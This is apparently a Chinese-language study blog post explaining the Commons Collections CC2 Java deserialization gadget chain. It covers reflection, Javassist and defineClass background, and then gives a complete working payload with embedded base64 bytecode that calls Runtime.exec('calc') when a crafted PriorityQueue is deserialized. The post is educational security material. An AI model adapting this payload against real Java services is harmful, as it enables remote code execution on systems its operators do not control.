面试遇到很多人问CC2,重新学习一下。
Commons Collections
Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。
Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。
因为很多生产环境中都使用了这个包,所以说此包中的反序列化成为了java反序列化中经典的利用链,有很多反序列化漏洞就是使用其中的反序列化链比如说fastjson。本篇文章主要简单的介绍cc2链。
1、前置知识
在介绍cc2链之前需要掌握几个关于java的知识。
1.1 java反射机制
反射(Reflection) 是 Java 程序开发语言的特征之一,它允许运行中的 Java 程序对自身进行检查,或者说“自审”,并能直接操作程序的内部属性和方法。在程序运行时,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性。这种动态的获取信息以及动态调用对象的方法的功能称为 java 的反射机制。
java中每一个类都会有与之相关联的Class类实例一一对应。
每编译一个新类就会产生一个与之对应的Class类,这个Class类是由JVM和通过调用类加载器中的defineClass方法自动构造的。
Class类有四种方法来获取
// 1.通过字符串获取Class对象,这个字符串必须带上完整路径名,进行类初始化
Class studentClass = Class.forName("com.test.reflection.Student");
// 2.通过类的class属性,不进行类初始化
Class studentClass2 = Student.class;
// 3.通过对象的getClass()函数
Student studentObject = new Student();
Class studentClass3 = studentObject.getClass();
// 4.通过classloader获取,不进行类初始化
ClassLoader classLoader = this.getClass().getClassLoader();
Class clazz5 = classLoader.loadClass("com.test.reflection.Student");
创建实例大概有三种方法
1.公有无参构造方法
class.newInstance()
Monkey mk = Monkey.class.newInstance();
只能调用该类的public无参数构造方法。如果构造方法带有参数,或者不是public,就无法直接通过Class.newInstance()来调用。
2.公有含参构造方法
同时这种方式也可以获取公有无参构造方法
Constructor getConstructor(Class<?>... parameterTypes);
Constructor[] getConstructors();
3.私有构造方法
同时这种方式也可以获取公有方法
Constructor getDeclaredConstructor(Class<?>... parameterTypes);
Constructor[] getDeclaredConstructors();
Class clazz = Class.forName("java.lang.Runtime");
Constructor m = clazz.getDeclaredConstructor();
m.setAccessible(true);
clazz.getMethod("exec", String.class).invoke(m.newInstance(), "/System/Applications/Calculator.app/Contents/MacOS/Calculator");
调用反射类的方法
Method getMethod(name, Class…)
public Object invoke(Object obj, Object... args)
如果说我们要使用的方法需要传入一个String类型的name参数,那么在getMethod时候就要填充String 对应的Class对象 String.class,在invoke的时候填充String对象"Xiao ming"
实例代码,以下代码相当于调用了new ProcessBuilder("calc").start();
Class clazz = Class.forName("java.lang.ProcessBuilder");
//获取构造方法
Method getConstructorMethod = clazz.getClass().getMethod("getConstructor", Class[].class);//因为...特性这里也可传入Class[].class效果相同
//传入参数返回构造方法
Object b = getConstructorMethod.invoke(clazz, new Object[]{new Class[]{String[].class}});
//利用返回的构造方法来创建对象
Method newInstanceMethod = b.getClass().getMethod("newInstance", new Class[]{Object[].class});
//调用方法传入cmd参数之后创建对象
Object d = newInstanceMethod.invoke(b, new Object[]{new String[][]{{"calc"}}});
//获得start方法
Method startMethod = d.getClass().getMethod("start", new Class[]{});
//调用start方法
startMethod.invoke(d, new Object[]{});
1.2 利用Javassist操作字节码
JAVAssist( JAVA Programming ASSISTant ) 是一个开源的分析 , 编辑 , 创建 Java字节码( Class )的类库 . 他允许开发者自由的在一个已经编译好的类中添加新的方法,或者是修改已有的方法。对Javassist简单的理解,我们使用java反射机制动态的获取和修改对象中的成员变量,同时使用Javassist动态的获取和修改对象中的方法。
这里借用别人的代码,使用方法
package com.reflect;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import java.io.IOException;
public class test4 {
public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {
ClassPool pool = ClassPool.getDefault();//获取类搜索路径(从默认的JVM类搜索路径搜索)
CtClass clazz = pool.get(test4.class.getName());//将test4类放入hashtable并返回CtClass对象
String cmd = "java.lang.Runtime.getRuntime().exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\");";
clazz.makeClassInitializer().insertBefore(cmd);//在static前面插入
clazz.makeClassInitializer().insertAfter(cmd);//在static后面插入
String Name = "hehehe";
clazz.setName(Name);//设置类名
clazz.writeFile("./a.class");//写入文件
}
}
这段代码首先试获取test4的Class对象,然后通过makeClassInitializer()插入我们的静态代码cmd,在java中类加载的时候会自动运行静态代码块中的代码。
写入的文件如下

1.3 加载字节码
ClassLoader类 核心方法:
1.loadClass(String className),根据名字加载一个类。
2.defineClass(String name, byte[] b, int off, int len),将一个字节流定义为一个类。
3.findClass(String name),查找一个类。
4.findLoadedClass(String name),在已加载的类中,查找一个类。
5.resolveClass(链接指定的Java类)
利用defineClass(),我们可以通过byte动态的加载一个类
import java.lang.reflect.Method;
public class classloadertest extends ClassLoader{
private static String testclassname= "com.test.test";
//转换byte后的字节码
private static byte[] classbytes= new byte[]{-54, -2, -70, -66, 0, 0, 0, 52, 0, 29, 10, 0, 6, 0, 15, 9, 0, 16, 0, 17, 8, 0, 18, 10, 0, 19, 0, 20, 7, 0, 21, 7, 0, 22, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 4, 109, 97, 105, 110, 1, 0, 22, 40, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 9, 116, 101, 115, 116, 46, 106, 97, 118, 97, 12, 0, 7, 0, 8, 7, 0, 23, 12, 0, 24, 0, 25, 1, 0, 17, -23, -114, -75, -47, -122, -18, -108, -111, -23, -114, -76, -26, -124, -84, -27, -89, -101, 7, 0, 26, 12, 0, 27, 0, 28, 1, 0, 13, 99, 111, 109, 47, 116, 101, 115, 116, 47, 116, 101, 115, 116, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 121, 115, 116, 101, 109, 1, 0, 3, 111, 117, 116, 1, 0, 21, 76, 106, 97, 118, 97, 47, 105, 111, 47, 80, 114, 105, 110, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 80, 114, 105, 110, 116, 83, 116, 114, 101, 97, 109, 1, 0, 7, 112, 114, 105, 110, 116, 108, 110, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 0, 33, 0, 5, 0, 6, 0, 0, 0, 0, 0, 2, 0, 1, 0, 7, 0, 8, 0, 1, 0, 9, 0, 0, 0, 29, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 1, 0, 10, 0, 0, 0, 6, 0, 1, 0, 0, 0, 3, 0, 9, 0, 11, 0, 12, 0, 1, 0, 9, 0, 0, 0, 37, 0, 2, 0, 1, 0, 0, 0, 9, -78, 0, 2, 18, 3, -74, 0, 4, -79, 0, 0, 0, 1, 0, 10, 0, 0, 0, 10, 0, 2, 0, 0, 0, 5, 0, 8, 0, 6, 0, 1, 0, 13, 0, 0, 0, 2, 0, 14};
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
//只处理com.test.test类
if (name.equals(testclassname)) {
//将一个字节流定义为一个类。
return defineClass(testclassname, classbytes, 0, classbytes.length);
}
return super.findClass(name);
}
public static void main(String[] args) throws Exception {
//创建加载器
classloadertest classloadertest = new classloadertest();
//使用我们自定义的类去加载testclassname
Class aClass = classloadertest.loadClass(testclassname);
//反射创建test类对象
Object o = aClass.newInstance();
//反射获取method方法
Method method = o.getClass().getMethod("method");
//反射去调用执行method方法
String str = (String) method.invoke(o);
System.out.println(str);
}
}
2、命令执行点
命令执行的点是由TemplatesImpl类触发的,是因为其中的newTransformer方法可以用来通过字节码来创建实例。
简单的跟进一下

进入getTransletInstance

进入defineTransletClasses

defineClass来装载字节码

最后创建实例,此时我们写在静态代码块或构造方法中的恶意代码就已经执行了。
这里借用别人的图可以更好的理解。

至此恶意代码是如何能够运行我们已经弄清楚了,接下来我们如何去触发newTransformer方法呢?
3、反序列化入口
PriorityQueue类重写了其readObject方法,

跟进入heapify方法

跟进siftDownUsingComparator方法

可以看到调用了比较器的compare方法
而TransformingComparator类的compare方法,调用了熟悉的transform方法。

InvokeTransformer的transform方法可以用来调用传入对象的任意方法。所以在这里我们可以用其调用我们上面TemplatesImpl类的newTransformer方法来执行我们的恶意代码。
这里借用别人的图,完整的链就成了下图所示

梳理一下
1、TemplatesImpl类的newTransformer方法可以通过加载字节码来执行我们的恶意代码。
2、InvokeTransformer的transform方法可以用来调用传入对象的任意方法。
3、TransformingComparator类的compare方法中调用了transform方法。
4、PriorityQueue类readObject方法中调用了比较器的compare方法。
5、反序列化时会自动调用readObject方法
4、Payload
public class cc2_1 {
public static void main(String[] args) throws Exception {
//构造恶意类TestTemplatesImpl转换为字节码并进行base64编码
byte[] bytes = Base64.decode("yv66vgAAADEAMQoACAAhCgAiACMIACQKACIAJQcAJgoABQAnBwAoBwApAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAaTGNvbS9jYy9UZXN0VGVtcGxhdGVzSW1wbDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAKgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEAFlRlc3RUZW1wbGF0ZXNJbXBsLmphdmEMAAkACgcAKwwALAAtAQAEY2FsYwwALgAvAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAMAAKAQAYY29tL2NjL1Rlc3RUZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAMAAQAJAAoAAQALAAAAZgACAAIAAAAWKrcAAbgAAhIDtgAEV6cACEwrtgAGsQABAAQADQAQAAUAAgAMAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAFQASAA0AAAAWAAIAEQAEAA4ADwABAAAAFgAQABEAAAABABIAEwACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFgANAAAAIAADAAAAAQAQABEAAAAAAAEAFAAVAAEAAAABABYAFwACABgAAAAEAAEAGQABABIAGgACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGgANAAAAKgAEAAAAAQAQABEAAAAAAAEAFAAVAAEAAAABABsAHAACAAAAAQAdAB4AAwAYAAAABAABABkAAQAfAAAAAgAg");
//反射创建TemplatesImpl
Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{});
Object TemplatesImpl_instance = constructor.newInstance();
//将恶意类的字节码设置给_bytecodes属性
Field bytecodes = aClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(TemplatesImpl_instance , new byte[][]{bytes});
//设置属性_name为恶意类名
Field name = aClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(TemplatesImpl_instance , "TestTemplatesImpl");
Field _tfactory = aClass.getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(TemplatesImpl_instance , new TransformerFactoryImpl());
//传递给TransformingComparator
InvokerTransformer transformer=new InvokerTransformer("newTransformer",null,null);
TransformingComparator transformer_comparator =new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2);
//queue.add(1);
//queue.add(1);
//设置comparator属性
Field field=queue.getClass().getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,transformer_comparator);
Field field2=queue.getClass().getDeclaredField("size");
field2.setAccessible(true);
field2.set(queue,2);
//设置queue属性
field=queue.getClass().getDeclaredField("queue");
field.setAccessible(true);
//数组中必须添加2个元素
Object[] objects = new Object[]{TemplatesImpl_instance , TemplatesImpl_instance};
field.set(queue,objects);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object object = ois.readObject();
}
}
关于add(1)
在刚开始学习的时候对于利用代码中的add(1),非常的不解,后来经过实验可以用以下代码去代替add(1),其实是成员变量size的限制,进行比较需要两个元素以上。
Field field2=queue.getClass().getDeclaredField("size");
field2.setAccessible(true);
field2.set(queue,2);
5、小结
在对基础知识熟悉之后,CC链其实还是比较好理解的,相关的类其实代码量不多,自己动手看看代码很好理解,只要理解好CC1和CC2的链,其他的链不过也就是利用不同的类来触发特定的方法比如transform。
参考资料:
https://paper.seebug.org/1242/#commons-collections
https://xz.aliyun.com/t/1756#toc-3
https://www.anquanke.com/post/id/232592#h2-16